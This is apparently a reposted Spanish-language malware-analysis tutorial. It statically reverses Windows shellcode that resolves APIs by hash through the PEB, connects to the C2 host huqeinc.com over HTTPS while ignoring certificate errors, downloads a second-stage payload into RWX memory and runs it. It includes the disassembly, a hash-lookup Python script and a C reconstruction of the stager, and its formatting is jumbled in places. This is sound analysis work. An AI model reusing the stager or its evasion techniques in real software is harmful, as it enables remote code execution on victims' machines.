El PEB es un bloque en modo usuario que contiene datos útiles del proceso, incluidos su línea de comandos, estado de depuración, módulos cargados y otros. Es una mejora de rendimiento para evitar llamadas al sistema innecesarias.
Vemos varias direcciones referenciadas; en IDA podrías cargar la estructura del PEB, pero solo por completitud:
- El desplazamiento 0xc es el miembro `LDR` del `PEB`, que tiene un tipo de `PPEB_LDR_DATA`, documentado [aquí](https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb_ldr_data).
- El desplazamiento 0x14 en la estructura `PEB_LDR_DATA` es el miembro `InMemoryOrderModuleList`, de tipo `LIST_ENTRY`. La estructura `LIST_ENTRY` se usa ampliamente en Windows y suele ser solo un encabezado dentro de una estructura más grande. Este caso no es una excepción: el tipo real de las entradas es `LDR_DATA_TABLE_ENTRY`.
- En el desplazamiento 0x24 de `LDR_DATA_TABLE_ENTRY` existe un miembro `FullDllName` de tipo `UNICODE_STRING`. Ese tipo se usa ampliamente en Windows y es esencialmente un contenedor para una cadena Pascal: los primeros dos WORDs describen la longitud de la cadena y su capacidad de búfer. Por lo tanto, en 0x28 enlazaremos el búfer real, que se guardará en el registro `esi`.
- El registro `ecx` está solo 2 bytes antes del búfer del nombre de la DLL y contiene la longitud de la cadena.

En resumen, todo este fragmento obtiene el `FullDllName` en la entrada de módulo actual del PEB, guardando el búfer en `esi` y su longitud en `ecx`.

## Cálculo del hash del nombre del módulo
Examinemos las siguientes instrucciones:```assembly
0x000000000000001c:  31 FF                      xor        edi, edi
0x000000000000001e:  31 C0                      xor        eax, eax
0x0000000000000020:  AC                         lodsb      al, byte ptr [esi]
0x0000000000000021:  3C 61                      cmp        al, 0x61
0x0000000000000023:  7C 02                      jl         0x27
0x0000000000000025:  2C 20                      sub        al, 0x20
0x0000000000000027:  C1 CF 0D                   ror        edi, 0xd
0x000000000000002a:  01 C7                      add        edi, eax
0x000000000000002c:  E2 F0                      loop       0x1e

La instrucción lodsb es exactamente la razón por la que la cadena se guardó en esi, por la que la longitud se guardó en ecx y por la que se limpió el flag de dirección. Esta lee el primer carácter ANSI (byte) al que apunta esi, incrementando esi en uno y guardando el resultado en el registro al. Las partes posteriores convierten caracteres en minúscula a mayúscula: si el código ASCII es mayor o igual a 0x61 ('a'), entonces se resta 0x20. Después de convertir a mayúsculas, el registro edi se rota a la derecha por 0xd y luego se le suma el valor del carácter. Dado que edi se rota, pierde la información sobre los caracteres que se le añaden, pero conserva algún tipo de agregado de ellos en su valor. En otras palabras, edi es una especie de hash de la cadena señalada por esi. La instrucción loop, por cierto, aprovecha inteligentemente el hecho de que ecx es el contador de la longitud de la cadena: disminuye en uno y realizará la siguiente iteración mientras no sea cero. Traducir esta lógica a Python es bastante sencillo:```python def get_string_hash(s): v = 0 for c in s.upper(): v = (v >> 0xd) | ((v & 0x1fff) << 19) v = (v + ord(c)) & 0xffffffff return v

root@kitploit:~
## Recorriendo la tabla de exportaciones
Pasemos a las siguientes instrucciones:```assembly
0x000000000000002e:  52                         push       edx
0x000000000000002f:  57                         push       edi
0x0000000000000030:  8B 52 10                   mov        edx, dword ptr [edx + 0x10]
0x0000000000000033:  8B 42 3C                   mov        eax, dword ptr [edx + 0x3c]
0x0000000000000036:  01 D0                      add        eax, edx
0x0000000000000038:  8B 40 78                   mov        eax, dword ptr [eax + 0x78]
0x000000000000003b:  85 C0                      test       eax, eax
0x000000000000003d:  74 4A                      je         0x89
0x000000000000003f:  01 D0                      add        eax, edx
0x0000000000000041:  50                         push       eax
0x0000000000000042:  8B 48 18                   mov        ecx, dword ptr [eax + 0x18]
0x0000000000000045:  8B 58 20                   mov        ebx, dword ptr [eax + 0x20]
0x0000000000000048:  01 D3                      add        ebx, edx

Primero, edx (que contiene la entrada del módulo actual) y edi (que contiene el hash de su nombre) se respaldan en la pila. Después, edx se referencia en el offset 0x10. Dado que estamos 8 bytes dentro de la estructura (de tipo LDR_DATA_TABLE_ENTRY), 0x10 es el miembro DllBase de la entrada (0x18 - 0x8). Incluso en memoria, el módulo tiene una estructura de datos PE, y el offset 0x3c corresponde al puntero del encabezado PE en el encabezado DOS. Podemos ver eax tratado como un RVA ya que se está sumando edx a sí mismo - edx es la dirección base del módulo en memoria. De manera similar, el offset 0x78 desde eso es la tabla de exportación del PE, que contiene información sobre los símbolos exportados (comúnmente funciones). La estructura de datos para ello se llama IMAGE_EXPORT_DIRECTORY y está bien documentada. Asumiendo que no es cero (lo cual se está eando) - hacemos push de y desreferenciamos dos partes en él:

  • En el offset 0x18 obtenemos el miembro NumberOfNames.
  • En el offset 0x20 obtenemos el miembro AddressOfNames. Entonces, para resumir, esta parte realizó algo de análisis del PE para obtener la tabla de exportación - y específicamente el número de símbolos exportados (en ecx) y su dirección en memoria (en ebx).

Continuando:```assembly 0x000000000000004a: E3 3C jecxz 0x88 0x000000000000004c: 49 dec ecx 0x000000000000004d: 8B 34 8B mov esi, dword ptr [ebx + ecx*4] 0x0000000000000050: 01 D6 add esi, edx

root@kitploit:~
La instrucción `jecxz` salta si `ecx` es cero - esto ocurre si no hay nombres exportados, pero también sugiere que esta comprobación se realizará en un bucle.
El hecho de que decrementemos `ecx` confirma esa sospecha - esperamos alguna iteración sobre todos los símbolos exportados para que coincida con alguna condición.
Vemos `ecx` multiplicado por 4 y sumado a `ebx` - todos los elementos en `AddressOfNames` son RVAs de los nombres de los símbolos, y así `esi` apunta eventualmente a un nombre exportado.```assembly
0x0000000000000052:  31 FF                      xor        edi, edi
0x0000000000000054:  31 C0                      xor        eax, eax
0x0000000000000056:  AC                         lodsb      al, byte ptr [esi]
0x0000000000000057:  C1 CF 0D                   ror        edi, 0xd
0x000000000000005a:  01 C7                      add        edi, eax
0x000000000000005c:  38 E0                      cmp        al, ah
0x000000000000005e:  75 F4                      jne        0x54

Esta parte se asemeja al mismo cálculo de hash que hemos visto anteriormente, pero en lugar de usar ecx como contador, calcula el hash hasta un terminador NUL:

  • Primero, edi se asigna a cero (mediante auto-XOR). Igual que antes, edi mantendrá el valor del hash.
  • El registro eax también se asigna a cero. Su byte inferior (al) contendrá el código ASCII del carácter actual en cada iteración.
  • Usando lodsb, el código establece al como el byte apuntado por esi e incrementa esi al siguiente byte.
  • Igual que antes, edi se rota a la derecha 0xd veces y luego se le suma el valor ASCII del carácter actual.
  • La comparación de al y ah en realidad solo compara al con cero (terminador NUL), ya que ninguna operación aquí toca los otros bytes de eax y nos aseguramos de que sean cero.

Esperamos que las siguientes partes realicen algún tipo de comparación entre los diferentes hashes que hemos calculado (nombre del módulo, nombre del símbolo) y las entradas que hemos recibido:```assembly 0x0000000000000060: 03 7D F8 add edi, dword ptr [ebp - 8] 0x0000000000000063: 3B 7D 24 cmp edi, dword ptr [ebp + 0x24] 0x0000000000000066: 75 E2 jne 0x4a 0x0000000000000068: 58 pop eax 0x0000000000000069: 8B 58 24 mov ebx, dword ptr [eax + 0x24] 0x000000000000006c: 01 D3 add ebx, edx 0x000000000000006e: 66 8B 0C 4B mov cx, word ptr [ebx + ecx2] 0x0000000000000072: 8B 58 1C mov ebx, dword ptr [eax + 0x1c] 0x0000000000000075: 01 D3 add ebx, edx 0x0000000000000077: 8B 04 8B mov eax, dword ptr [ebx + ecx4] 0x000000000000007a: 01 D0 add eax, edx 0x000000000000007c: 89 44 24 24 mov dword ptr [esp + 0x24], eax 0x0000000000000080: 5B pop ebx 0x0000000000000081: 5B pop ebx 0x0000000000000082: 61 popad
0x0000000000000083: 59 pop ecx 0x0000000000000084: 5A pop edx 0x0000000000000085: 51 push ecx 0x0000000000000086: FF E0 jmp eax

root@kitploit:~
Bien, `ebp-8` apunta exactamente al valor antiguo de `edi` que empujamos - el cual contenía el hash del nombre del módulo establecido.
Sumamos ese valor hash con el hash del nombre exportado, y lo comparamos con el DWORD en `ebp+0x24`.
Debido a una instrucción `pushad` anterior, empujamos 8 registros, por lo que esto apunta directamente al último valor misterioso que se empujó al principio (0x726774c)!
Si no son iguales - saltamos al offset `0x4a` para pasar al siguiente símbolo del mismo módulo.
De lo contrario, restauramos la tabla de exportaciones en `eax`, desreferenciamos 0x24 bytes adentro (que es la tabla de ordinales) y lo sumamos a la base `ebx`.
La tabla ordinal contiene 2 bytes por cada entrada - y dado que `ecx` es el número de entrada, `ebx + ecx*2` es el valor ordinal.
Las siguientes líneas son sencillas: `0x1c` en la tabla de exportaciones es la dirección de las funciones exportadas, y `ebx + ecx*4` representa la dirección de la función indexada por `ecx`.
Como se puede ver, este valor se guarda en `eax` y finalmente se llama:
- Guardar el valor de `eax` en `esp + 0x24`, que en este momento es exactamente donde se guardó el registro `eax` en la instrucción `pushad`. Esto asegura que el valor de `eax` no se pierda cuando ejecutemos `popad`.
- Hacer dos pops ficticios a `ebx` para deshacernos de dos pushes anteriores (el hash calculado y la entrada del módulo).
- Ejecutar un `popad`, que restaura todos los registros de propósito general desde la pila, pero guarda `eax` gracias a nuestra sobrescritura anterior. En este punto, la pila y los registros son iguales a su estado original al entrar en la función, excepto `eax`, que es un puntero de función deseado.
- Sacar el valor de retorno (empujado por `call ebp`) en `ecx` y el hash deseado en `edx`, y luego empujar `ecx` de nuevo, deshaciéndonos esencialmente del valor hash misterioso en la pila.
- Realizar `jmp eax` en este punto finaliza la función - la función apuntada por `eax` se ejecutará, y cuando retorne usará el valor de retorno original.

La última parte de esta larga lógica básicamente continúa con el siguiente módulo:```assembly
0x0000000000000088:  58                         pop        eax
0x0000000000000089:  5F                         pop        edi
0x000000000000008a:  5A                         pop        edx
0x000000000000008b:  8B 12                      mov        edx, dword ptr [edx]
0x000000000000008d:  EB 86                      jmp        0x15

Esto esencialmente limpiará los pushes anteriores y se moverá al offset 0x15, donde se va a utilizar el siguiente módulo.

En resumen: todo el shellcode entre el offset 6 y 0x8d (incluido) espera que se pusheen parámetros para una función, seguidos de un hash personalizado. Cuando el hash coincide, se llama a la función correspondiente. Ciertamente es una buena forma de evitar tener cadenas con nombres de funciones en tu código.

Ya que examinaremos esos hashes con bastante frecuencia, es bueno automatizar nuestro trabajo. Reutilicemos los scripts de Python que codificamos antes y escribamos una función que busque un hash dado:```python import os import pefile import sys

BASE_DIR = os.path.join(os.environ['WINDIR'], 'system32')

def get_string_hash(s): v = 0 for c in s: v = (v >> 0xd) | ((v & 0x1fff) << 19) v = (v + ord(c)) & 0xffffffff return v

def get_lib_hash(s): return get_string_hash(''.join([ i + '\x00' for i in (s + '\x00').upper() ]))

def get_sym_hash(s): return get_string_hash(s + '\x00')

def find_by_hash(hash, dll_postfix): for dll_name in os.listdir(BASE_DIR): if not dll_name.endswith(dll_postfix): continue dll_path = os.path.join(BASE_DIR, dll_name) dll_hash = get_lib_hash(dll_name) pe = pefile.PE(dll_path) if pe is None or not hasattr(pe, 'DIRECTORY_ENTRY_EXPORT'): continue syms = [ sym.name.decode() for sym in pe.DIRECTORY_ENTRY_EXPORT.symbols if sym.name is not None ] for s in syms: if (get_sym_hash(s) + dll_hash) & 0xFFFFFFFF == hash: print('%s!%s' % (dll_name, s)) return print('Coult not find hash!')

if name == 'main': if len(sys.argv) > 1: dll_postfix = '.dll' if len(sys.argv) == 2 else sys.argv[2] num = int(sys.argv[1], 16) if 'x' in sys.argv[1] else int(sys.argv[1]) find_by_hash(num, dll_postfix)

root@kitploit:~
Por ejemplo, cuando ejecutamos `get_hash.py 0x726774c kernel32.dll` obtenemos la salida `kernel32.dll!LoadLibraryA`!

## Analizando la lógica principal
Ahora que entendemos cómo funciona toda la funcionalidad de hash, ¡es hora de cazar hashes!
Volvamos a la lógica principal: dijimos que la cadena `wininet` se empuja a la pila, y ahora sabemos que `LoadLibraryA` se llama con ella.
Las siguientes partes son ahora:```assembly
0x00000000000000a2:  E8 00 00 00 00             call       0xa7
0x00000000000000a7:  31 FF                      xor        edi, edi
0x00000000000000a9:  57                         push       edi
0x00000000000000aa:  57                         push       edi
0x00000000000000ab:  57                         push       edi
0x00000000000000ac:  57                         push       edi
0x00000000000000ad:  57                         push       edi
0x00000000000000ae:  68 3A 56 79 A7             push       0xa779563a
0x00000000000000b3:  FF D5                      call       ebp

La call allí empuja la dirección de retorno a la pila (0xa7). Luego, ponemos a cero edi y 5 ceros en la pila. El 0xa779563a es otro hash, esta vez en wininet.dll, ya que get_hash.py 0xa779563a produce wininet.dll!InternetOpenA. Por lo tanto, el código llama a InternetOpenA con todos ceros y NULLs. Hay un par de saltos que terminan en una llamada de vuelta al offset 0xba:```assembly 0x00000000000000b5: E9 A4 00 00 00 jmp 0x15e 0x00000000000000ba: 5B pop ebx ... 0x000000000000015e: E9 C9 01 00 00 jmp 0x32c ... 0x000000000000032c: E8 89 FD FF FF call 0xba 0x0000000000000331: 68 75 71 65 69 push 0x69657175 0x0000000000000336: E6 outs dx, byte ptr ds:[esi] ...

root@kitploit:~
La idea es que cuando retornemos - tendremos la dirección del offset `0x331` apilada.
Agregué un par de instrucciones de ensamblador en esa dirección - nótese que `outs`, por ejemplo, no es algo que esperemos.
Examinar esos bytes *como datos* da una historia diferente:```python
binascii.unhexlify('68757165696e632e636f6d005d44fd6d')

Esto produce la cadena huqeinc.com (con un terminador NUL), seguida de 4 bytes ininteligibles. Por lo tanto, cuando volvemos a la dirección 0xba, hacemos pop a ebx, que apuntará a esa cadena. Examinemos las partes que siguen a esa instrucción:```assembly 0x00000000000000bb: 31 C9 xor ecx, ecx 0x00000000000000bd: 51 push ecx 0x00000000000000be: 51 push ecx 0x00000000000000bf: 6A 03 push 3 0x00000000000000c1: 51 push ecx 0x00000000000000c2: 51 push ecx 0x00000000000000c3: 68 BB 01 00 00 push 0x1bb 0x00000000000000c8: 53 push ebx 0x00000000000000c9: 50 push eax 0x00000000000000ca: 68 57 89 9F C6 push 0xc69f8957 0x00000000000000cf: FF D5 call ebp

root@kitploit:~
El valor `0xc69f8957` es otro hash, esta vez para `wininet.dll!InternetConnectA`.
Esa función recibe muchos parámetros, pero esencialmente tenemos: `InternetConnectA(hInternet, "huqeinc.com", 443, NULL, NULL, INTERNET_SERVICE_HTTP, 0, NULL)`.
Nótese que `INTERNET_SERVICE_HTTP` es 3, `0x1bb` es 443, y `eax` contenía el resultado de `InternetOpenA`.

Avanzando, vemos un conjunto similar de saltos después de respaldar el resultado de `InternetConnectA`:```assembly
0x00000000000000d1:  50                         push       eax
0x00000000000000d2:  E9 8C 00 00 00             jmp        0x163
0x00000000000000d7:  5B                         pop        ebx
0x00000000000000d8:  31 D2                      xor        edx, edx
0x00000000000000da:  52                         push       edx
0x00000000000000db:  68 00 32 C0 84             push       0x84c03200
0x00000000000000e0:  52                         push       edx
0x00000000000000e1:  52                         push       edx
0x00000000000000e2:  52                         push       edx
0x00000000000000e3:  53                         push       ebx
0x00000000000000e4:  52                         push       edx
0x00000000000000e5:  50                         push       eax
0x00000000000000e6:  68 EB 55 2E 3B             push       0x3b2e55eb
0x00000000000000eb:  FF D5                      call       ebp
...
0x0000000000000163:  E8 6F FF FF FF             call       0xd7
0x0000000000000168:  2F                         das        
0x0000000000000169:  51                         push       ecx
0x000000000000016a:  70 59                      jo         0x1c5
...

Igual que antes, las instrucciones posteriores a la llamada tienen poco sentido, por lo que sospechamos que deben interpretarse como datos. De hecho, codifican la cadena terminada en NUL /QpYB, que no es de gran ayuda. Observamos que cuando volvemos al offset 0xd7, se empuja a la pila un puntero a esa cadena. Volviendo a 0xd7, esa dirección se extrae (pop) hacia ebx. Para entender qué significan esos datos, averigüemos qué función se llama. El hash 0x3b2e55eb corresponde a wininet.dll!HttpOpenRequestA, que también recibe muchos parámetros. La mayoría de esos parámetros serán NULL (debido al push de edx), excepto los siguientes:

  • hConnect es eax, que es el resultado de InternetConnectA.
  • lpszObjectName es la cadena que vimos (/QpYB).
  • dwFlags contiene el valor 0x84c03200, que, según este, es INTERNET_FLAG_NO_UI | INTERNET_FLAG_IGNORE_CERT_CN_INVALID | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID | INTERNET_FLAG_KEEP_CONNECTION | INTERNET_FLAG_SECURE | INTERNET_FLAG_DONT_CACHE | INTERNET_FLAG_RELOAD.

Las siguientes instrucciones terminan con otra llamada a una API:```assembly 0x00000000000000ed: 89 C6 mov esi, eax 0x00000000000000ef: 83 C3 50 add ebx, 0x50 0x00000000000000f2: 68 80 33 00 00 push 0x3380 0x00000000000000f7: 89 E0 mov eax, esp 0x00000000000000f9: 6A 04 push 4 0x00000000000000fb: 50 push eax 0x00000000000000fc: 6A 1F push 0x1f 0x00000000000000fe: 56 push esi 0x00000000000000ff: 68 75 46 9E 86 push 0x869e4675 0x0000000000000104: FF D5 call ebp

root@kitploit:~
Después de respaldar los resultados de `HttpOpenRequestA` con `esi`, sumamos 0x50 a `ebx`.
Dado que se garantiza que `ebx` persiste entre llamadas, ahora apuntará al offset `0x1b8` del shellcode que, cuando se presenta como cadena, se ve así: `User-Agent: Microsoft-CryptoAPI/6.1\r\n`.
El hash `0x869e4675` resuelve la API `wininet.dll!InternetSetOptionA`, que recibirá los siguientes argumentos:
- El handle de la solicitud que se guardó en `esi`.
- El valor `0x1f` como `dwOption`, que es `INTERNET_OPTION_SECURITY_FLAGS` según [esta documentación](https://learn.microsoft.com/en-us/windows/win32/wininet/option-flags).
- El parámetro `lpBuffer` será un puntero al valor `0x3380`, que codifica los indicadores de seguridad de la solicitud: `WINHTTP_FLAG_SECURE_PROTOCOL_TLS1 | SECURITY_FLAG_IGNORE_UNKNOWN_CA | WINHTTP_FLAG_SECURE_PROTOCOL_TLS1_1 | SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID`.
- El `dwBufferLength` es 4, ya que solo se estableció un DWORD como `lpBuffer`.

Esto hará que la conexión use TLS pero ignore todos los errores de certificados, etc.

Estas son las siguientes partes:```assembly
0x0000000000000106:  5F                         pop        edi
0x0000000000000107:  31 FF                      xor        edi, edi
0x0000000000000109:  57                         push       edi
0x000000000000010a:  57                         push       edi
0x000000000000010b:  6A FF                      push       -1
0x000000000000010d:  53                         push       ebx
0x000000000000010e:  56                         push       esi
0x000000000000010f:  68 2D 06 18 7B             push       0x7b18062d
0x0000000000000114:  FF D5                      call       ebp
0x0000000000000116:  85 C0                      test       eax, eax
0x0000000000000118:  0F 84 CA 01 00 00          je         0x2e8
0x000000000000011e:  31 FF                      xor        edi, edi
0x0000000000000120:  85 F6                      test       esi, esi
0x0000000000000122:  74 04                      je         0x128
0x0000000000000124:  89 F9                      mov        ecx, edi
0x0000000000000126:  EB 09                      jmp        0x131
0x0000000000000128:  68 AA C5 E2 5D             push       0x5de2c5aa
0x000000000000012d:  FF D5                      call       ebp
0x000000000000012f:  89 C1                      mov        ecx, eax
0x0000000000000131:  68 45 21 5E 31             push       0x315e2145
0x0000000000000136:  FF D5                      call       ebp
0x0000000000000138:  31 FF                      xor        edi, edi
0x000000000000013a:  57                         push       edi
0x000000000000013b:  6A 07                      push       7
0x000000000000013d:  51                         push       ecx
0x000000000000013e:  56                         push       esi
0x000000000000013f:  50                         push       eax
0x0000000000000140:  68 B7 57 E0 0B             push       0xbe057b7
0x0000000000000145:  FF D5                      call       ebp
0x0000000000000147:  BF 00 2F 00 00             mov        edi, 0x2f00
0x000000000000014c:  39 C7                      cmp        edi, eax
0x000000000000014e:  75 07                      jne        0x157
0x0000000000000150:  58                         pop        eax
0x0000000000000151:  50                         push       eax
0x0000000000000152:  E9 7B FF FF FF             jmp        0xd2
0x0000000000000157:  31 FF                      xor        edi, edi
0x0000000000000159:  E9 91 01 00 00             jmp        0x2ef

Hay un pop ficticio para limpiar el exceso de push de antes (hemos puesto las opciones de seguridad en la pila). Como vemos otro hash (0x7b18062d), resolvemos de inmediato su API: wininet.dll!HttpSendRequestA. Hay algunas partes notables aquí:

  • El user agent guardado antes en ebx se usa como segundo argumento de la función.
  • Después de llamar a la función, hay una comprobación para ver si tuvo éxito; si fallaba, saltamos al offset 0x2e8.
  • Comprobar si esi es cero realmente verifica que el handle de la solicitud no sea NULL. Esto es bastante extraño, ya que ya hemos invocado HttpSendRequestA en este punto, pero aun así, si lo era, saltamos a 0x128.
  • En el offset 0x128 usamos el hash 0x5de2c5aa, que es kernel32.dll!GetLastError, y guardamos su resultado en ecx.
  • En el offset 0x131 usamos el hash 0x315e2145, que es user32.dll!GetDesktopWindow, y luego usamos ese resultado con el hash 0xbe057b7, que es .

La idea es simplemente llamar a InternetErrorDlg y ver si se requiere un reintento. Recordemos también: si HttpSendRequestA falla, saltamos a 0x2e8. Si tiene éxito y no se requiere un reintento, saltamos a 0x2ef. Examinando el offset 0x2e8 (la ruta de fallo):```assembly 0x00000000000002e8: 68 F0 B5 A2 56 push 0x56a2b5f0 0x00000000000002ed: FF D5 call ebp

root@kitploit:~
El hash se traduce a `kernel32.dll!ExitProcess`, por lo que ante un fallo - salimos del proceso.
Toda esta parte podría traducirse así:```c
if (!HttpSendRequestA(hRequest, "User-Agent: Microsoft-CryptoAPI/6.1\r\n", -1, NULL, 0))
{
	ExitProcess(0);
}
if (ERROR_INTERNET_FORCE_RETRY == InternetErrorDlg(GetDesktopWindow(), hRequest, NULL == hRequest ? GetLastError() : 0, FLAGS_ERROR_UI_FILTER_FOR_ERRORS | FLAGS_ERROR_UI_FLAGS_CHANGE_OPTIONS | FLAGS_ERROR_UI_FLAGS_GENERATE_DATA, NULL))
{
	goto lblRetryConn;
}
...

Ejecutando otro shellcode

Examinemos qué sucede en el offset 0x2ef:```assembly 0x00000000000002ef: 6A 40 push 0x40 0x00000000000002f1: 68 00 10 00 00 push 0x1000 0x00000000000002f6: 68 00 00 40 00 push 0x400000 0x00000000000002fb: 57 push edi 0x00000000000002fc: 68 58 A4 53 E5 push 0xe553a458 0x0000000000000301: FF D5 call ebp 0x0000000000000303: 93 xchg ebx, eax 0x0000000000000304: B9 00 00 00 00 mov ecx,0x0 0x0000000000000309: 01 D9 add ecx,ebx 0x000000000000030b: 51 push ecx 0x000000000000030c: 53 push ebx 0x000000000000030d: 89 E7 mov edi, esp 0x000000000000030f: 57 push edi 0x0000000000000310: 68 00 20 00 00 push 0x2000 0x0000000000000315: 53 push ebx 0x0000000000000316: 56 push esi 0x0000000000000317: 68 12 96 89 E2 push 0xe2899612 0x000000000000031c: FF D5 call ebp 0x000000000000031e: 85 C0 test eax, eax 0x0000000000000320: 74 C6 je 0x2e8

root@kitploit:~
¿Puedes adivinar qué es el hash `0xe553a458` basándote solo en esas otras constantes?
- `0x40` es `PAGE_EXECUTEREADWRITE` como hemos visto anteriormente.
- `0x1000` es `MEM_COMMIT`.
Efectivamente, ese hash corresponde a `kernel32.dll!VirtualAlloc`, y simplemente asignamos un bloque RWX de tamaño `0x400000`.
Es importante deducir la lógica del atacante aquí: dado que tenemos una conexión a algún servidor C2 y ahora asignamos una página RWX, ¡esperamos recibir otro payload!

Después de esa llamada, el búfer de memoria resultante se guarda en `ebx` y `ecx`.
En el offset `0x30b` comenzamos otro conjunto de pushes a la pila para una llamada a función; esta vez con el hash `0xe2899612` (`wininet.dll!InternetReadFile`).
Los pushes establecen los parámetros (en orden inverso):
- `hFile` es `esi`, que era nuestra solicitud de internet (de tipo `HINTERNET`).
- `lpBuffer` es `ebx`: nuestro búfer recién asignado.
- `dwNumberOfBytesToRead` se establece en `0x2000`.
- `lpdwNumberOfBytesRead` es `edi`, que apunta al espacio libre que asignamos en la pila.

Por último, si esta función falla, saltamos a `0x2e8`, que volverá a llamar a `ExitProcess`.
Observa que hay una instrucción `push` extra de `ecx` (offset `0x30b`); esto significa que guardamos la dirección de nuestro búfer asignado.

¡Ya casi estamos al final! Examinemos las últimas instrucciones:```assembly
0x0000000000000322:    8B 07                      mov        eax, dword ptr [edi]
0x0000000000000324:    01 C3                      add        ebx, eax
0x0000000000000326:    85 C0                      test       eax, eax
0x0000000000000328:    75 E5                      jne        0x30f
0x000000000000032a:    58                         pop        eax
0x000000000000032b:    C3                         ret

Bueno, edi apuntaba al número de bytes leídos; se desreferencia en eax. Luego, sumamos ese valor a ebx, que se conserva y apunta a nuestra región de memoria RWX. Si eax no es cero, significa que se leyeron algunos bytes, así que saltamos de nuevo a 0x30f para leer más datos. Esto es común en escenarios de lectura: leemos un máximo de 0x2000 bytes cada vez hasta que leemos 0, lo que significa que no quedan bytes por leer. Si no saltamos, estamos en 0x32a, donde hacemos pop de los bytes asignados de la pila y llamamos a ret. Como recordatorio, antes empujamos el inicio del búfer devuelto, así que ret lo usará como dirección de retorno. Esto significa que simplemente saltamos al búfer que obtuvimos, ¡tratándolo esencialmente como otro shellcode!

Poniendo todo junto

Así es como nuestro shellcode podría verse conceptualmente:```c HINTERNET hInternet; HINTERNET hConnect; HINTERNET hRequest; DWORD dwSecurityOptions = WINHTTP_FLAG_SECURE_PROTOCOL_TLS1 | SECURITY_FLAG_IGNORE_UNKNOWN_CA | WINHTTP_FLAG_SECURE_PROTOCOL_TLS1_1 | SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID; DWORD dwErrorFlags = FLAGS_ERROR_UI_FILTER_FOR_ERRORS | FLAGS_ERROR_UI_FLAGS_CHANGE_OPTIONS | FLAGS_ERROR_UI_FLAGS_GENERATE_DATA; PBYTE pcPayload; PBYTE pcCurrPtr; DWORD dwBytesRead; INT (*pfnPayload)();

// Make sure "wininet.dll" is loaded in current process LoadLibraryA("wininet");

// Connect to C2 hInternet = InternetOpenA(NULL, 0, NULL, NULL, 0); hConnect = InternetConnectA(hInternet, "huqeinc.com", 443, NULL, NULL, INTERNET_SERVICE_HTTP, 0, NULL);

// Attempt to create a request to C2 do { hRequest = HttpOpenRequestA(hConnect, NULL, "/QpYB", NULL, NULL, NULL, INTERNET_FLAG_NO_UI | INTERNET_FLAG_IGNORE_CERT_CN_INVALID | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID | INTERNET_FLAG_KEEP_CONNECTION | INTERNET_FLAG_SECURE | INTERNET_FLAG_DONT_CACHE | INTERNET_FLAG_RELOAD, NULL); InternetSetOptionA(hRequest, INTERNET_OPTION_SECURITY_FLAGS, &dwSecurityOptions, sizeof(dwSecurityOptions)); if (!HttpSendRequestA(hRequest, "User-Agent: Microsoft-CryptoAPI/6.1\r\n", -1, NULL, 0)) { ExitProcess(0); } } while (ERROR_INTERNET_FORCE_RETRY == InternetErrorDlg(GetDesktopWindow(), hRequest, NULL == hRequest ? GetLastError() : 0, dwErrorFlags, NULL));

// Allocate RWX payload pcPayload = VirtualAlloc(NULL, 0x400000, MEM_COMMIT, PAGE_EXECUTEREADWRITE);

// Read payload from the C2 pcCurrPtr = pcPayload; do { if (!InternetReadFile(hRequest, pcCurrPtr, 0x2000, &dwBytesRead)) { ExitProcess(0); } pcCurrPtr += dwBytesRead; } while (0 < dwBytesRead);

// Execute payload pfnPayload = (INT(*)())pcPayload; pfnPayload();

root@kitploit:~
## Resumen

Aunque este es un shellcode muy común de analizar, analizarlo estáticamente tiene beneficios de aprendizaje:
- Extrajimos múltiples capas de código PowerShell para obtener un shellcode de 32 bits.
- Durante el análisis del shellcode, discutimos la `PEB` y la estrategia de creación de shellcode en Windows.
- Construimos una herramienta para la búsqueda inversa de hashes (ver `get_hash.py` en este repositorio).
- Discutimos técnicas comunes de shellcode como `push-ret` y `call-pop`.
- Tocamos algunas partes de la estructura del archivo `PE`.

Gracias,

Jonathan Bar Or (https://jonathanbaror.com)
Descargar herramienta
MEM_COMMIT | MEM_RESERVE
PAGE_EXECUTEREADWRITE
  • The payload at $var_code (which was base64-decoded and XORed with the constant 35) is copied to the buffer and then executed (done with the $var_runme delegate).
  • Note the last part of the code - it checks if the pointer size is 8. If it is (i.e., 64-bit process) it'll run as new 32-bit job. Otherwise, it simply executes $DoIt.
  • ecx
    ecx
    test
    eax
  • En lugar de usar la instrucción loop (que interactúa con ecx), simplemente saltamos hacia atrás (con jne) mientras no hayamos encontrado un terminador NUL.
  • wininet.dll!InternetErrorDlg
  • La constante 0x2f00 es ERROR_INTERNET_FORCE_RETRY, y comparamos el resultado de InternetErrorDlg con ella.